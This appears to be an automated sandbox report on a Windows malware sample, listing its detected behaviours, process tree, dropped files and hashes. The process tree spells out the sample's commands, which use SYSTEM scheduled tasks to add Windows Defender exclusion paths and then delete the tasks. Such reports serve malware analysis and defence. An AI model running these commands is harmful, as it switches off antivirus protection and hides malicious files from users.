Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    05/08/2026, 03:38

General

  • Target
    inst_smt011.exe
  • Size 55.2MB
  • Sample260805-d64esaxene
  • SHA256 6c6bc39ad6cf5a75b6563bab7c1c90bb8ad0932284a2190bc699682cdd039983
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 8 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 4 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\inst_smt011.exe
    "C:\Users\Admin\AppData\Local\Temp\inst_smt011.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:1132
  • C:\Users\Public\MtjK9H\nV1K18.exe
    C:\Users\Public\MtjK9H\nV1K18.exe
    1⤵
    • Checks computer location settings
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2584
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\MtjK9H\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:3160
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\MtjK9H\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3532
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:1980
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:720
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:4748
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:1532
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:3724
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:2080
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:3668
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:2220
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:4536
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:1248
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:1640
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:1900
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:4192
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:4416
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:1904
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:632
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:4360
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:3104
                      • C:\Users\Public\MtjK9H\nV1K18.exe
                        "C:\Users\Public\MtjK9H\nV1K18.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:4488
                      • C:\Windows\system32\cmd.exe
                        cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\MtjK9H" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:3708
                        • C:\Windows\system32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\MtjK9H" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:4704
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:4928
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:1936
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:3432
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:4956
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:4616
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:2616
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:5100

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

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                              Downloads

                              UxEnhance64.dll

                              • Path C:\Users\Public\MtjK9H\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 7b79d8f33000a3fbb1099c89e4edd5e693c117e8088b2fef51a4ef8a7f7166f8
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\MtjK9H\adoresd.dat
                              • Size 4.7MB
                              • SHA256 98ba1bf377a4082d1e188e9d31c7f0dc692c0eb82cea0e6aedac8767e458be38
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\MtjK9H\msadox.tb
                              • Size 8KB
                              • SHA256 5368457a7f59ecdc26023448a2441eefa0c8df1ae99de5591aad6b68b840a96b
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              nV1K18.exe

                              • Path C:\Users\Public\MtjK9H\nV1K18.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/1132-1-0x00000000004D0000-0x00000000004DB000-memory.dmp

                              memory/1132-503-0x00007FFA20730000-0x00007FFA20740000-memory.dmp

                              memory/1132-523-0x00000000001F0000-0x00000000001FD000-memory.dmp

                              memory/1132-524-0x00007FFA20730000-0x00007FFA20740000-memory.dmp

                              memory/1132-0-0x00000000001F0000-0x00000000001FD000-memory.dmp

                              memory/2584-549-0x00000138A5890000-0x00000138A6121000-memory.dmp

                              memory/2584-555-0x00000138A6470000-0x00000138A64FA000-memory.dmp

                              memory/2584-530-0x00007FFA08920000-0x00007FFA08E3E000-memory.dmp

                              memory/2584-542-0x00000138A5890000-0x00000138A6121000-memory.dmp

                              memory/2584-543-0x00000138A5890000-0x00000138A6121000-memory.dmp

                              memory/2584-538-0x00000138A5890000-0x00000138A6121000-memory.dmp

                              memory/2584-545-0x00000138A5890000-0x00000138A6121000-memory.dmp

                              memory/2584-544-0x00000138A5890000-0x00000138A6121000-memory.dmp

                              memory/2584-537-0x00007FFA25D80000-0x00007FFA25D82000-memory.dmp

                              memory/2584-529-0x00007FFA25D70000-0x00007FFA25D72000-memory.dmp

                              memory/2584-558-0x00000138A6470000-0x00000138A64FA000-memory.dmp

                              memory/2584-557-0x00000138A6470000-0x00000138A64FA000-memory.dmp

                              memory/2584-556-0x00000138A6470000-0x00000138A64FA000-memory.dmp

                              memory/2584-535-0x00000138A5890000-0x00000138A6121000-memory.dmp

                              memory/2584-554-0x00000138A3560000-0x00000138A35AE000-memory.dmp

                              memory/2584-563-0x00000138A5890000-0x00000138A6121000-memory.dmp

                              memory/2584-564-0x00000138A5890000-0x00000138A6121000-memory.dmp

                              memory/2584-596-0x00000138A5890000-0x00000138A6121000-memory.dmp

                              memory/4488-575-0x0000027526A40000-0x00000275272D1000-memory.dmp

                              memory/4488-581-0x0000027526A40000-0x00000275272D1000-memory.dmp

                              memory/4488-580-0x00007FFA25D80000-0x00007FFA25D82000-memory.dmp

                              memory/4488-585-0x0000027526A40000-0x00000275272D1000-memory.dmp

                              memory/4488-587-0x0000027526A40000-0x00000275272D1000-memory.dmp

                              memory/4488-589-0x00007FFA25D70000-0x00007FFA25D72000-memory.dmp

                              memory/4488-588-0x0000027526A40000-0x00000275272D1000-memory.dmp

                              memory/4488-586-0x0000027526A40000-0x00000275272D1000-memory.dmp

                              memory/4488-572-0x00007FFA08920000-0x00007FFA08E3E000-memory.dmp